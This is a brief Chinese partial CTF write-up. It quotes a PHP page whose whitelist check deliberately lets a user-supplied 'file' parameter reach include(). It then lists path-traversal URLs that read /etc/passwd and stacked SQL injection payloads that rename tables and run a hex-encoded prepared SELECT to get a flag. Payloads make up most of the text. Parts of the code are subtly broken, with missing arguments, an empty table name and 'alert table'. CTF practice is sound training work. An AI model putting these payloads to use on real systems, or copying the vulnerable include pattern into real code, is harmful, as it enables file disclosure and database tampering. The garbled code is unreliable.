部分CTF writeup

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                ,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                ,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

http://fa704bac-4af9-45b8-a410-cfca90929e1d.node2.buuoj.cn.wetolink.com:/index.php?file=source.php?/../../../../../etc/passwd

http://fa704bac-4af9-45b8-a410-cfca90929e1d.node2.buuoj.cn.wetolink.com:/index.php?file=source.php%f/../../../../../etc/passwd

1’;rename table words to word1;rename table  to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar();#

接着我们再用1’ or 1=1 #,查询就得到flag

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#